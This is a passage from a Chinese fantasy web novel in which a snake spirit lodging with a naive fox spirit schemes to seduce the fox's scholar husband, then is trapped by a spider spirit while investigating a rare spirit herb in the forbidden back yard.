亏她还想方设法救她,晚上还一直担心她的生死,直到子时都过了近半才睡着。 小青躲闪不及,被一笤帚扫到蛇嘴。 这笤帚,怎么还有股鸡屎味儿?! 她大怒:“我是好心!” “呸!我不用你这种好心!”胡翘翘继续用力抽打她,“你给我走,我不许你再待在我家里!” 倘若这条蛇真的伤了相公,那岂不是等于她引狼入室,间接害了相公? 胡翘翘越想,便越生气。 自己就像故事里的那个农夫,一片好心,却换来被蛇反咬一口的结局。 果然和相公说的一样,她太单纯无知了,不知道蛇心险恶! “快走,还有,我警告你,你要是敢伤害我相公一根汗毛,我一定会杀了你!” 那声音依旧温柔甜软,毫无威慑力,但语气中的寒意和杀气,却又昭示着说话人不容置疑的认真。 啧……这只狐妖,和自己姐姐一样,是大恋爱脑! 狗咬吕洞宾,不知好人……啊,不知好蛇心! 没救了简直! 小青恨狐不成钢,片刻后,她金黄的瞳眸一转,声音变得柔和几分,“翘翘姐,方才我只是在开玩笑,我同你道歉,以后再不胡说八道了,你别赶我走,成不成?” 罢了,看在她救了自己的命的份上,自己大蛇有大量,就不与她斤斤计较,另想办法好了。 胡翘翘握着笤帚,恶狠狠道:“开玩笑也不行!” “我知道错了嘛,你不要生气了……”小青有些怯生生地将自己盘了起来,脑袋埋进肚子里,声音闷闷地吐着信子,“我受了这么重的伤,身上很痛,多少会影响心情……姐姐又出了事,我一条蛇孤零零的……现在只剩下你这一个朋友,要是连你也不要我了,我就太可怜了……“ 胡翘翘:“……” 小青见她半晌不做声,用尾巴尖儿轻轻勾住她的手腕,摇来摇去,“翘翘,好姐姐,我真的不会了啦。” 胡翘翘的气消了少许,半信半疑地看着她,“真的不会啦?” “当然。”小青用力点着大脑袋,“我可以对天发誓,如果我恩将仇报,这伤便一辈子好不了!” 胡翘翘见她发了如此毒誓,终于放心一二,“那……那好吧,你可以暂时留在这里……但事先申明哦,下不为例!” “谢谢翘翘姐!”小青连忙道。 哼哼,自己一定会找个机会,让小狐妖看清她相公的真面目! 这样就不算恩将仇报了吧! 到时候,她发现自己真心错付,一定悔之莫及,然后抱着自己大哭特哭,鼻涕眼泪一起下。 自己再摸摸她的脑袋,语重心长地告诉她,“人是最不可信的,尤其是男人!只有我们妖怪彼此之间,才值得信任!” 想到得意之处,小青忍不住摆了摆尾巴。 真是完美无缺的计划~ 第23章 你有妖珠吗?【求追读】 时间临近中午,胡翘翘去厨房准备午饭。 早上有学生的家人送来了一块豆腐和小半块猪肉、两把菠菜来,再加上还有半根山药,她决定中午便做个豆腐酿肉,姜烧菠菜,再加个蘑菇山药汤。 鸡固然好吃,但上次在市集就买了四只,她决定隔两天才吃一只,所以今天就不吃了。 菠菜是从地里新鲜采摘的,下半截还带着泥土,胡翘翘正在认真清洗,身后传来一阵悉悉索索的响动。 她扭头看去,一条大青蛇游进了厨房。 “你怎么来啦?” 小青摆动脑袋左右打望,“有没有需要我帮忙的?” “不用啦,你还受着伤呢,去休息吧,我就做几个简单的小菜,很快就好。”胡翘翘将洗好的菠菜放进滤水的竹篮中,再走到炉灶前,蹲下身子,塞了些干柴进去,正要点火,手中的火石不小心落在地上,不知滚到了哪儿。 见胡翘翘撅着屁股找火石,小青疑惑地发问,“你不会生火术么?” 胡翘翘一愣,扭头看她:“什么生火术?” “便是这个。” 蛇信吞吐,小青叽里咕噜念了几句,红光一闪,灶台里的干柴便冒出了火焰。 见此,胡翘翘小脸上的表情顿时开始变幻,一会儿是惊讶,一会儿又是惭愧。 “我、我不会……” “……”小青古怪地瞥着她,“你这妖怪怎么做的,如此简单的术法都不会?” 胡翘翘越发羞愧难当,涨红小脸,手捏衣角,结结巴巴地辩解道,“以前、以前或许是会的……但几年前我生了场病,醒来便什么都忘记了……许是连这些术法一块儿忘记了吧……依我看,知不知道也没什么打紧,反正相公从不嫌弃我……” 小青顿时一脸鄙夷。 什么都忘记了,偏偏满脑子“相公”长、“相公”短。 哼,真是只傻狐狸! 不过她现在是蛇形,纵然满脸鄙夷,胡翘翘也看不出来,她转了转眼珠子,“你想学吗?想学我教你啊。” “真的?”胡翘翘睁大眼,“你愿意教我?” “这有什么不愿意的,你可是我的救命恩人,”小青道,“除了生火术,我还会生水术、呼风术、滚石术……你要是喜欢,全都教给你也无妨。” “有没有清洁术?” “清洁术?” “就是能让东西一下变干净的法术。” “……倒是有种洁净术,应该和你想学的清洁术差不多吧。” “太好啦,我想先学这个洁净术。”胡翘翘欢欣雀跃,殷切地看着她,“等吃完午饭,你便教我吧?” 小青点头答应。 胡翘翘见火生着了,开始蒸米饭。 小青在旁无事可干,便用尾巴卷起干柴,一把把地往炉灶里塞,替胡翘翘省了烧火的气力。 “有一个问题,为何我在你身上感觉不到多少妖气?” “我也不知道呀,”胡翘翘想了想,很快找到一个解释,“也许是因为我生过病,身子太弱了吧。” 小青点点脑袋,算是接受。 “对啦,小青你好厉害哦,居然会这么多法术。” “咳咳,我以前住在峨眉山,一些是山上那些修士练习法术的时候,我趁机偷学来的,一些是遇到姐姐后,她教我的。”提起“姐姐”,小青的语气明显地得意了几分,轻甩着尾巴道,“还有,我姐姐她都已经凝出妖珠了,比我厉害多了!” “妖珠?那是什么?” “……你真是什么都忘了。” “给我讲讲嘛。” “好吧,我想想从哪儿开始讲起……” 小青思索总结片刻,方缓缓道,“我们妖怪和人不一样。虽说我们和人类一样,有三魂七魄,但是,我们的命魂天生要比人类弱小许多。” “命魂主本体的灵智,因此,我们还没化形时,灵智远不如人类。” 只有当获得机缘,寿命远超同类时,方有机会壮大命魂。 但即便那样,也只能算是半妖。 “等到能化形时,一个妖怪的命魂方才真正成熟,并形成灵窍,这时候的妖怪,便相当于初入感应境的人类修士,可以自行吐纳天地元气进行修炼,也能使用一些简单法术,只不过,由于命魂的限制,我们妖怪的修炼速度仍然会比人类慢不少。” “另外,我们妖族的实力,由体内妖力的深厚程度来决定。而妖力,既可以通过修炼增加,也可以随着年龄增长自行增加。等妖力浓厚到了一定程度后,便会凝成一颗妖珠,我姐姐就在这个层次……” 胡翘翘被这一堆陌生词语弄得晕头转向,百忙中插口问道,“等等,这妖珠有什么用呀?” “笨蛋,就像流光境的人类修士一样,妖珠运转时能产生特殊的流光护罩,对命魂形成一定的保护!”小青一脸无语,对眼前的“小白”进行认真科普,“无论对人类,还是对妖怪来说,命魂都是最脆弱的部分,一旦命魂受伤,实力会大减,甚至可能魂飞魄散,连轮回都无法进入!” “而且,妖珠可以存储浓缩的妖力,通过妖珠,可以瞬间爆发出大量妖力。一个有妖珠的妖怪,可以同时击败十几个实力与她接近、但没有妖珠的妖怪,也只有妖龄在千年以上的大妖,才有可能凝出妖珠!” “哦……” 胡翘翘依旧似懂非懂。 反正,很厉害就对了。 “那……是不是有妖珠的妖怪就最厉害了?” “咳咳,也不一定吧……”小青咳了几声,“反正,我们妖族的实力演变和人类修士的境界有些相似,听说流光境上面还有什么金身境、什么魂宫境,神通境的……” 胡翘翘点点头,又好奇地问:“那小青你呢,是什么境界呀?你有妖珠吗?” “……你做饭吧,我要去休息了。” 小青面无表情地游走。 米饭蒸好,胡翘翘又忙活起了炒菜。 不到半柱香的时间,热气腾腾的两道小炒就搞定了。 “嗯,下面该做山药汤啦。”看了眼台上的材料,她一拍脑门,“哎呀,我忘记摘蘑菇了。” 去到后院,胡翘翘来到种有白菇的那个角落,蹲下身子,掐了两朵。 这时,身边的大树上传来一阵悉悉索索的响动,她抬头望了眼,却什么也没见到。 “应该是鸟儿或是松鼠吧。” 小狐妖不以为意,再次返回厨房。 很快,香气腾腾的山药蘑菇汤也做好了。 胡翘翘将两菜一汤端上饭桌,心满意足地搓着小手,“接下来,就是等相公回来吃饭啦……” 第24章 家花不如野花香【求追读】 话音刚落,胡翘翘便听到了外面的脚步声。 她转头,见到正踏进院子的陈子均,立即眉开眼笑地小跑过去,因为做饭而带上了细细汗珠的脸庞,在阳光的照耀下白嫩与嫣红并存,似是吹弹可破。 她双手抱住了陈子均的一只胳膊,娇软软地唤道。 “相公,你回来啦!” 陈子均看见她,心中就生出一片温柔,温声道,“是啊,回来了。” “今日累不累?” “还好。” “午饭已经做好了哦,我去给你打水洗手吃饭。” 陈子均揉揉她的脑袋,“嗯。” 胡翘翘喜孜孜地跑去打水。 吱呀—— 开门声响起。 陈子均循声望去,便见厢房的开了,一个身穿碧绿衫子的少女,正俏生生地立在门边。 与他视线相触时,小青陡然一愣,不自觉地失神。 这书生,居然比许仙那小白脸还俊得多…… 而且,没有许仙身上那种懦弱迂腐之气,气质更加清卓不凡…… 难怪小狐妖被迷得神魂颠倒…… 换做是她…… 呸! 再俊,那也不过皮囊,骨子里还是个臭男人! 小青收敛心神,冲陈子均露出一个甜美又略带羞涩的笑,睫毛忽闪。 “这位公子,想必……你就是翘翘姐的相公了吧?” 陈子均颔首,“不知姑娘是……” “我叫岑碧青,之前受了伤,多亏翘翘姐救了我一命。”小青含羞带怯地抬起长长睫毛,快速瞟了他一眼,又立马垂下眸子,软声道,“听姐姐说,她有个好相公,现在亲眼见到公子,果然是人中龙凤……” 陈子均微微一笑,“岑姑娘过誉了。” “岑姑娘什么的,太客气了,你是翘翘姐的相公,自也是我半个恩人,直接唤我小青就行啦。” 小青的手指轻卷着垂在耳边的辫梢儿,抿唇一笑。 呵,天底下,没有不偷腥的猫儿。 也没有不会偷吃的男人。 即便她的容貌、性子都不及胡翘翘远矣,但她知道,自己的身上有两样东西,对这男人来说,是胡翘翘所不具备的,必然有着莫大的吸引力。 那便是—— 新鲜感。 以及,刺激感。 男人么,都是如此。 家花再娇艳,也不如野花闻着香。 佛跳墙吃多了,也会偶尔惦记清粥小菜。 家里的小娘子如何美貌可人,时日一久,也会下意识地渴求点新鲜刺激。 这便是人类男子的天性。 不信的话,但见那些烟花之地、温柔乡销魂窟,让多少男人流连忘返、挥金如土,不顾家中妻儿…… 即便是平日中再道貌岸然、再温柔深情的男人,诱惑来临时,照样本性毕露。 她化成人形之后,面容虽称不上貌若天仙,但也是颇为美貌,身材也属于一流,该细的部位细,该鼓起来的地方,也都不算小,对男人的诱惑之力,相当有信心。 就像那许仙,时常在她面前,有意无意般地吟念什么“娥皇女英”,什么“飞燕合德”的…… 呸! 要不是看在姐姐面上,她早一口将那臭男人吞吃了事! 所以,只需她略施媚术,这小狐妖的相公也必然经不起她的诱惑。 到时候,小狐妖发现她心心念念的相公竟然背叛于她,定然会从恋爱脑中彻底醒悟,到时候自己再一口吞了这男人,也不算是违背誓言了,嘻嘻嘻嘻……我可真是冰雪聪明,如此天才的主意也想得出来~ 小青越想越兴奋,脸上的笑也更娇媚了几分。 陈子均看了她一眼,似笑非笑,“好,那便叫你小青吧。” “相公,来洗手啦——” 胡翘翘端着盆子快步走过来。 看见小青,她一愣,“这位姑娘,你是……” 她还没见过青蛇化形的模样,此刻骤然见到,却不认识。 “翘翘姐,”小青银铃般地笑了起来,“听得出我的声音么?” 胡翘翘恍然,“呀,我知道了,这是你的人形!对了,你怎么出来啦?” “因为听到你相公回来啦,”小青若无其事地笑笑,“我很好奇你嘴里“天上有地上无”的相公是什么样子,所以便出来看看呀。” 她不是很讨厌相公么?怎么方才好像看见她对相公笑呢? 胡翘翘在心底暗自觉得有些古怪,却又一时想不出古怪在何处,便将注意力放在了相公身上,软声道,“相公,她便是昨天那条蛇妖,叫……” “小青。” “小青。” 小青几乎与陈子均同时开口。 胡翘翘一愣。 陈子均笑了笑,“她方才已同我说了。” “哦……”胡翘翘站在那里,目光在他和小青的身上梭巡了一圈,抿抿唇,小声道,“你们……已经聊过啦?” 还这么有默契…… 小狐妖的心中泛起淡淡的异样。 “只略聊了几句,”陈子均洗了手,道,“走吧,我们去吃饭。” “嗯,”胡翘翘正待同他一起去厨房,脚步一顿,又扭头看向小青,“小青,你要同我们一块儿吃么?” 她问这话的本意只是客套,因为小青说过她不需进食,修炼吐纳即可。 不料,小青却盈盈一笑,“好呀,我也想尝一下翘翘姐的手艺。” 胡翘翘:“……” 呜呜呜,午饭是她白昼中难得的与相公单独相处的时间…… 早知道小青这么不客气,她就不开口提了…… 小狐妖的无形耳朵已经耷拉了下来。 三人,啊不,二妖一人一齐来到厨房。 没待胡翘翘去盛饭,小青已经落落大方地开了口,“翘翘姐,公子,你们先坐吧,我去盛饭。” 她身姿翩若惊鸿,浅绿色裙摆摇曳,在厨房中轻盈来回。 一碗递给胡翘翘,“翘翘姐。” 一碗双手端给陈子均,红唇轻咬,眼波盈盈,“公子,请。” 陈子均伸手接碗,几个柔滑细腻的指尖快速在他手背上掠过。 陈子均一顿,抬头望去。 小青玉颊生晕,快速瞟了他一眼,又若无其事地扭身,去给自己盛饭了。 平日吃饭时,陈子均和胡翘翘都是相对而坐,今天也一样。 小青盛好饭,又去搬了张椅子,摆放在两人之间,方才坐下。 胡翘翘:“……” 是她的错觉吗?为什么比起和她的距离,小青的位置看起来更靠近相公一点儿? 第25章 现在就吃了他! 小狐妖眨了下眼,心底里,那淡淡的异样,渐渐转成了浓浓的酸意。 相公身边的位置,她不想分享给任何人…… 但她又不好意思开口,让小青坐得离相公远一点儿。 一来,小青的举动应该只是无意,她这样说的话,或许会破坏两人的关系,也会显得小题大做。 二来,她也不想让相公觉得自己太小家子气,连这种毫无来由的飞醋也要吃…… 可是…… 可是…… 唉—— 心里酸溜溜的,难受到好像心尖尖都在打颤,眼泪都快要从鼻子冲到眼眶…… 呜呜呜,相公……我的相公…… 胡翘翘正在那里垂头丧气,耷眉拉眼,满心哀哀怨怨,凄凄惨惨戚戚,感觉自己好像一朵正被暴风雨摧残着的小白花,又像是被主人无情抛弃的一只小狐狸,孤独无助又可怜时,忽然听到陈子均问,“娘子,你有什么不高兴的事吗?” 她立马抬头,小脸上笑靥灿烂,“没有呀。” 她自觉掩饰得很好,但下垂的眉梢和微红的眼角都明晃晃地透出“不开心”三个字。 陈子均忍不住弯起唇,然后,他站起来,将自己的椅子挪到了胡翘翘的身旁,再坐下。 “娘子,吃饭吧。” 胡翘翘知道相公看出了她的小心思,有些赧然地垂下脑袋,心中却又像吃了蜜糖般甜蜜无比,唇角怎么也压不住,翘得高高的。 小青则是暗暗撇了下嘴角,却没动作。 对方都坐开了,倘若她再刻意坐近,未免太露痕迹。 罢了,以后再找机会。 陈子均给胡翘翘夹了一块豆腐:“好了,快吃饭吧。” 胡翘翘也拿起筷子,朝他嘻嘻一笑,然后将那块豆腐夹入嘴里。 也许是因为相公亲手给她夹的缘故,也许是因为相公就坐在身边的缘故,她觉得这块豆腐甚是好吃,比她往常吃过的任何豆腐都要美味得多,一边摇晃着小脑袋,心满意足地吃着,一边赞不绝口:“这豆腐烧得真不错呀。” 而后,她也给陈子均夹了一筷子菠菜,软软糯糯地道,“嗯……相公,今日的菠菜是阿虎他们家拿来的,鲜嫩得很,你也多吃一些。” 陈子均笑,“嗯,娘子说好吃,那便是极好吃的。” 小青见这两人对菜赞不绝口,便好奇地先尝了一口豆腐,又尝了一口菠菜,两口都差点儿咽不下去。 这两道菜的味道分明都平平无奇得很——豆腐烧得时间不够久,残存着没去干净的豆腥味,还咸过了头。菠菜没焯水,带着一股子土涩气……说平平无奇,都有些过誉了,也就是比她这个厨艺白痴做得稍好一些,在家常菜里都算不上档次。 这一人一妖,一个比一个会睁眼说瞎话,还真是绝配! 唉,还是尝尝这山药蘑菇汤吧。 其实,她一坐下,便留意到了这碗山药蘑菇汤。 山药倒没什么稀奇,关键是里面的白菇。 虽被胡翘翘切碎了,看不出完整的形状,却莫名让她觉得有几分眼熟,似乎在哪儿见过,但一时又回忆不起。 也许尝一口,便能想起来了。 小青如此想着,拿起汤勺,笑道,“翘翘姐,我尝尝你做的汤。” 眼见勺子正要碰触到汤碗,陈子均的筷子突然一伸,将它按住。 小青愣了愣,抬头看去。 阳光照亮书生清俊的眉眼,他脸上无甚表情地道,“这汤是我娘子的,你不能喝。” 胡翘翘也一怔,轻声道:“相公……” “那蘑菇是我特意为你种的,”陈子均轻捏了一下她的脸,“记住,以后没我允许,不许给旁人吃。” 胡翘翘的心里又漾起了甜味儿,好似全身都被幸福充斥满了,连忙笑靥灿烂,春风满面地应了句。 “嗯,翘翘记住啦,牢牢的记住啦。” “……”小青的自尊有点受伤,咬牙切齿地将勺子收了回去。 不喝就不喝,一碗破汤而已,谁稀罕! 哼! 一顿饭吃完,陈子均让胡翘翘去午休,他自己洗碗。 等胡翘翘一走,小青便按捺住还未完全平复的自尊,边主动收拾,边眼波如水地道,“公子,我听翘翘姐说,你是读书人,不适合做这些脏活儿,还是我来吧。” 闻言,陈子均点了点头,便袖手走开,毫无推让的意思,更遑论对她说几句感激之语或是多看她两眼了。 小青气得快咬碎满口蛇牙,拿碗时不慎用力过猛,“咔嚓”一声,捏碎了一个碗。 “哎呀,”她轻呼一声,声音盈盈若泣,“公子……” 陈子均停下脚步,转头望去。 蛇妖举着流了一丝血的纤白手指,俏脸楚楚可怜,“人家不小心弄破了碗,怎么办……” 哼哼哼,见她受伤,男人定会生出怜香惜玉之心,主动过来呵护,然后,她便提出让他替她上药,等上药时,手握着手,人贴着人,挨挨蹭蹭,呼吸交缠、温柔软语…… 见此刻小狐狸不在,他势必抵挡不住诱惑,露出各种丑态,到时候,她再让小狐狸发现…… 呵呵呵呵,真是完美的计划! 但事情的发展,完全出乎她的所料。 陈子均的脸陡然一沉,语气嫌弃,“家里拢共就这几个碗,你还弄破一个,真是粗手笨脚的,比我娘子的温良贤淑差远了。” 小青:“……” 好气啊! 能不能现在就吃了他?! 她虽然心中很怒,脸上的委屈痛楚却又多了几分,将手抬得更高了些,娇声道,“公子,你看,我的手在流血……” 陈子均乜了眼,神情微微一怔,“还真是,这种事,你应该早些说才对啊……” 小青的双眼殷切盈盈地看着他。 陈子均继续。 “现在才说,你看,这伤口都快要愈合了……些许小伤,没什么大不了的,赶紧去洗碗吧,对了,记得把你方才弄破的碗也收拾一下,一块碎片都不许遗漏。否则,万一我娘子被扎到,我可是会生气的。” 陈子均说罢,不紧不慢地拍了下衣服上并不存在的灰尘,正要转身,又想到什么般,转头看向她,悠悠地道,“啊,还有一件事忘记提醒你了,你可以暂时住这儿,但不能进后院,那里很危险,记住了吗?” 说完这段,陈子均方才施施离去。 “……” 在“冒着违誓的风险,也要吃了他!”和“暂忍屈辱,日后百倍奉还”中,小青挣扎许久,终于握着拳头,俏脸阴沉地道,“臭书生,给我等着!” 第26章 一定是她看错了 小青冷脸洗了碗,又冷着脸将地上的碎片收拾干净。 为了防止胡翘翘被扎到,厨房的每一个角落她都仔细检查了两三遍,直到没有任何发现,才放下心来。 期间她自然是在肚子里将陈子均的祖宗十八代也骂了个遍。 未时一刻,胡翘翘从午觉中醒来。 她先伸了个懒腰,慢吞吞地套上外裳,再对着镜子梳好头发,看着镜中的自己,眼睛迅速地弯了起来,“真好看,嘻嘻。” 跑出卧房,她来到厢房的门外,抬手敲门,“小青?” 等了片刻,小青方才开门,板着脸,冷冷问,“什么事?” “说好下午要教我法术的呀,”胡翘翘笑眼弯弯,“你现在身体如何,有力气教我么?” 对上她单纯清透的眸子,灿烂的笑靥,蛇妖原本一肚子的火气,忽然消了不少。 “教你一会儿无妨,你要学洁净术,是么?” “嗯~”胡翘翘点头,目露憧憬,“等我学会洁净术以后,相公就可以每天穿到最干净的衣服了,家里也可以一直干干净净,多好呀。” 青蛇又忍不住磨起了牙:“你的脑袋里,除了“相公”,是不是没有别的东西了?” 胡翘翘怔愣,然后皱起秀眉,似乎在认真思考。 她想了很久,方才点点头,坦然又真挚地道,“对我来说,在这个世界上,没有什么比相公更重要啦。” 小青,“……” …… 待青蛇讲解完洁净术的施展之法,胡翘翘便有些跃跃欲试,“听起来不难嘛,我且试试。” 她默默运起小青传授的口诀,然后将体内的妖力凝聚在指尖,对准房间一处角落的薄薄灰尘。 微光一闪,灰尘中,出现了一片极为干净的区域。 “成啦!”胡翘翘先是喜悦,但随即又噘起嘴,伸出白嫩的小巴掌比划,很不满意,“怎么才这么一小块地方呀?” 才比她的巴掌大一点儿,这样一来,怎么给相公清洁衣服? 青蛇耸耸肩,“你用来施展法术的妖力太少了,效果自然不够好。” 胡翘翘有些委屈地哼哼,“可我都几乎快把妖力用光了……” “无妨,”青蛇安慰道,“只要以后勤加修炼,体内的妖气便会浓厚起来的。” “可是……”胡翘翘睁大眼睛,直愣愣地问道,“该怎么修炼呀?” 此话一出,房间中陡然陷入了诡异的沉寂。 安静了好一会儿都没有动静。 许久后,蛇妖深吸口气,一脸匪夷所思地看着她,“你的意思是,你连妖族的修炼之法都不懂得?” 一般的妖怪化形后,便能从妖族的血脉天赋中自然领悟出修炼之法,无需额外学习。 是以,她才会如此不可置信! 对上她惊愕的目光,小狐妖漂亮的脸显出局促和羞惭,僵硬地垂下脑袋,纤细白嫩的手指扭在一块儿,“很、很奇怪吗?我生了病之后,几乎什么都忘记了……那修炼之法,自然也都忘了……你再教教我,不行么?” 小青抿了抿唇,无奈地道:“狐族的修炼之法和我们蛇族区别甚大,所以,你不能学我的修炼之法,否则修炼容易出错不说,还可能会走火入魔,损伤命魂。” 她本以为胡翘翘听到这话会无比失落,不料,胡翘翘只是轻“哦……”了一声,便展颜一笑,语气和神情都恢复轻快,“好罢,那便算了,今天便到这儿吧,我去接着给相公做袍子啦。” 小青诧异地看着她,“怎么,你不能修炼,不失望吗?” “没什么好失望的呀,反正之前没修炼,我也过得好好的,”胡翘翘面带微笑,轻轻地道,“相公说过,做人要懂得知足,不能太贪心。“ 没有谁的人生是完美的,她已经拥有了全世界最珍贵、最难得的宝物,老天对她已经足够优渥偏袒,能修炼,固然是锦上添花,不能,那也不需强求。 小青微微怔楞。 …… 卧房内,胡翘翘在忙着做袍子。 厢房中,小青化成蛇形,盘成一团蚊香,开始吐纳元气,加速恢复伤势。 一个周天结束,她扭头检查伤口,发现只是略有好转,烦闷无比,肚皮朝天地瘫在了床上。 若是姐姐炼制的疗伤丹还在,哪怕只剩一颗,也能让她伤势的痊愈速度加快不少,可惜,仅有的几颗早都被她吃光了。 想到姐姐,小青便不由得忆起了许仙,金黄色的蛇眸顿时一冷。 若不是为了许仙那个废物小白脸,姐姐怎么会闯入青山宗,盗了他们的养魂玉芝,现在被镇压在塔下,生死不知。 还有,说到废物小白脸,小狐妖的相公比那许仙的脸更白上几分,也更可恶几分…… 不,更可恶好几倍! 想到陈子均,青蛇便气得用蛇尾啪啪乱拍床铺,险些将木板床都震得塌掉。 虽然她不得不承认,自己的人形离小狐妖的美貌尚有一段颇为明显的距离,但放在人类中,也算是个极其少见的小美人儿了。 就像那许仙,便一直对她垂涎不已,还有那青山宗的小鬼,也因为此而中了她的计。结果在小狐妖相公这里,她身为美女的尊严,便反复被亵渎、被践踏、被无视…… 甚至连一碗蘑菇汤都不给她喝,简直太羞辱蛇了! 等等,蘑菇汤…… 青蛇的脑中刹那闪过一个念头,猛地直起身子,眯起眸子,蛇信下意识快速吞吐。 她想起为何觉得那汤中的白菇有些熟悉了! 当初姐姐从青山宗盗回的养魂玉芝,似乎便是那般模样! 但,应该不会吧…… 养魂玉芝是极为少见的能修复受损神魂的灵草。这世上能治疗肉身伤势的丹药、灵草不在少数,但针对神魂的灵草,从上古时期开始,便极为罕见,大部分如今更已绝迹。 只有这养魂玉芝,在青山宗里还存活着寥寥数株,数目连一只巴掌都数得过来,正因此,被盗走一株后,他们才不肯轻易罢休。 结果,在小狐妖这里,直接将养魂玉芝当成蘑菇来煮汤? 这个念头一出,青蛇便立马摇晃起脑袋,“怎么可能,这怎么可能?”语气中满满的难以置信。 当然难以置信了,谁会舍得如此暴殄天物?!何况,以小狐妖的实力,连青山宗的山门都进不去,又从哪儿得到养魂玉芝呢? 也许是她看错了,汤里的,不过是普通的白菇罢了。 嗯,一定是她看错了,那决计不可能是养魂玉芝,还是继续修炼吧。 青蛇重新盘起身子,仰天吐纳。 十几个呼吸过去,她却依旧烦乱。 虽说那白菇是养魂玉芝的可能性几近于无,但不能百分之百的确定,她便觉得心中仿佛堵了个沉甸甸的物事,无法平心静气。 小青猛地睁眼! “不行,我一定要亲眼看看!” 第27章 玉珠儿 酉时(下午五点),胡翘翘放下完工小半的袍子,去厨房准备晚饭。 与此同时,绿衫少女轻轻推开了房门。 妖族的听力比普通人类要灵敏得多,之前胡翘翘去了后院摘白菇的动静她听得一清二楚。 显然,那白菇便生在后院。 刚要迈步,小青又想起方才那书生不许她去后院,略一犹豫,她便用力翻了个白眼。 可笑,莫非他当她是胡翘翘,会对他言听计从么?! 小青出了厢房,先四下看了眼,见胡翘翘还在厨房,当即心中一定,快步来到前院通向后院的小门前,伸手一拍,柴门便开了。她身形一闪,晃了进去。 随后,她停住脚步,打量起来。 这后院面积不大,角落有一棵枝繁叶茂的大树,院子被划分为几片,每一片各种了些不同的菜蔬,都生长得颇为葱郁。野草招摇,小虫唧鸣,时有蜂蝶飞舞……总之,看起来与任何一家普通农户的院子几乎没有区别。 青蛇的目光扫过整个院子,少顷后,在位于角落的一小片土地上顿住。 那里刚好位于大树之下,被浓暗的树阴所笼罩,颇不显眼,是以她没第一时间留意。 青蛇定睛看去,继而,心中猛地一震。 在那一块的地面上,生长着数十株菌菇,其外形酷似灵芝,其色泽润如白玉,赫然与当初白娘子冒着九死一生的风险,从青山宗盗回来的养魂玉芝一模一样! “不可能,这些白菇绝不可能是养魂玉芝……只是生得相似罢了……”青蛇睁大眼,嘟囔了几句,迟疑一下,抬脚往那边走去,“哼,待我亲手摘一棵,仔细辨个清楚……” 院子本就不大,她行出数步,便已经接近了那棵大树。 前方的地面上覆盖着一层薄薄的落叶,这情景在乡野中处处可见,毫无可疑之处,青蛇未加思索,便一脚踏了上去。 然而脚刚踩到上面,唰地轻微声传来,她就知道自己错了。 自树叶下方,忽然弹起了一张几乎无迹可寻的透明丝网,紧接着,前后左右头顶都有同样的丝网扑过来,她甚至来不及做出任何反应,就已经被几张丝网牢牢包裹。 青蛇吃了一惊,立马用力,想要破开丝网,下一秒,顿觉骇然。 这丝网的每一根线都不过发丝粗细,即便一整张也轻飘飘的,几乎让她感觉不到任何重量,但竟然无比结实,她用了全身力气,却连半根都无法挣脱! “谁?!这是什么?!”小青惊呼出声。 突然,她头顶的树上有人打了一个长长的哈欠,哈欠结束后,有个稚气的声音略显不耐地道,“吵死了,是我的网啊,笨蛋。” 青蛇急忙抬头,“谁?” 枝叶晃动,自深处荡出了一根丝线,丝线的末端被握在一个白嫩的小手中。 那是个小女孩儿,她握着丝线,一直飘到了青蛇头顶的一根树枝上,方才停下。 这女孩儿看着才四五岁,还不到四尺高,头发齐肩,一身红衣,带着个雕琢成一只蜘蛛模样的银头冠,雪肤大眼,长相颇为可爱。 她在树枝上坐下,两只套着红绣鞋的小脚丫晃啊晃,看着小青,噗嗤笑道,“你这么大的妖了,连蜘蛛网都不认识么?” “蜘蛛网?”小青愣了一秒,便恍然过来,“你是个蛛妖!” “对呀,”小女孩点点头,笑得很开心,露出两只小虎牙,“我有名字的哦,叫玉珠儿。” 小青见她模样玉雪可爱,笑容天真无邪,不似坏妖,松了口气。 她没闲暇思考为何这里会有一只蛛妖,只是道:“玉珠儿你好,我叫……” “嘘!”玉珠儿突然打断了她,眨着大眼,认真道,“不要告诉我你叫什么名字!” 小青忍不住问:“为什么?” 玉珠儿叹了口气,幽幽地道,“我这人有个坏毛病,一旦知道了食物的名字,吃起它的时候,就会不太忍心!” 小青没反应过来:“食物?” “好久没开荤了……”玉珠儿伸出小舌头,舔了舔嘴唇,白嫩可爱的小脸上挂着甜甜的笑,但说出来的话语,却让小青不寒而栗,“那个大坏蛋不让我吃村里的人,又不许我离开这院子,害得我平时只能捉几只小鸟、田鼠什么的打打牙祭,没想到今天居然有个傻乎乎的蛇妖自动送上了门……总算能让我填一下肚子……” 说到这里,她的口边竟垂下来了一条寸许长的亮晶晶涎水! 青蛇则是脸色陡变,听对方话中的含义,竟是要吃了她! 妖族没有人类那么多礼法规则,同类相食都不是什么罕见之事,不同种族的妖怪之间,实力强的吃掉实力弱的,更加天经地义。 还有,对方口中的那个“大坏蛋”,又是谁? “嘻嘻嘻嘻……” 玉珠儿笑出了声,她张开嘴,吐出一条蛛丝,一头粘在树枝上,一头吊住自己,慢悠悠地往小青的方向垂去。 “你放心,一点都不痛的哦,”她一边下坠,一边笑嘻嘻地说,“因为我会先给你注入一点儿毒液,你就会昏迷过去……哪怕我今天吃掉你一条胳膊,明天吃掉你一条腿儿,你都不会有任何感觉……” 没等玉珠儿的话说完,蛛网中的少女,忽然变成了一条三四米长的青蛇,大嘴一张,腥红的蛇信电射而出,直取玉珠儿的咽喉! 无论是何妖怪,咽喉都是致命的要害之一! 距离太近,玉珠儿只来得及抬手一挡。 蛇信被直接弹飞,而那只白嫩的小手臂上,却多出了一块红印。 小青则是心中骇然,方才那一下,已经汇聚了她体内的所有妖力,却只能给对方的手臂留下一个小小的红印! 这只蛛妖的实力,比没受伤之前的她还要强上一截! “你这条小臭蛇,弄疼我了!”玉珠儿小脸扭曲,双目圆睁,尖声叫道,“我改主意了,我要让你一直清醒,让你亲眼看着自己一点点被我吃掉,再活活痛死!” 阴冷的目光在青蛇身体上梭巡。 “从哪儿开始好呢……”很快,她抬起一只小手,按在了青蛇的眼皮上,嘴里发出尖锐的笑声,“就先挖掉你一只眼睛吧,怎么样?” 小青闭眼,全身发抖,震得丝网同她一起抖动。 “啊——” 突然,玉珠儿爆发出尖叫。 青蛇睁眼,赫然见到,一只大手从后面揪住了玉珠儿的衣领,把她直接拎了起来。 第28章 下次一定 玉珠儿被拎在了半空,两只小脚一边在空中乱踢,一边扭头看向身后的陈子均,怒骂道:“大坏蛋,又是你,快放开我,大坏蛋!” 陈子均好整以暇地看着她,说,“放开你可以,但这蛇妖暂时不能吃。” 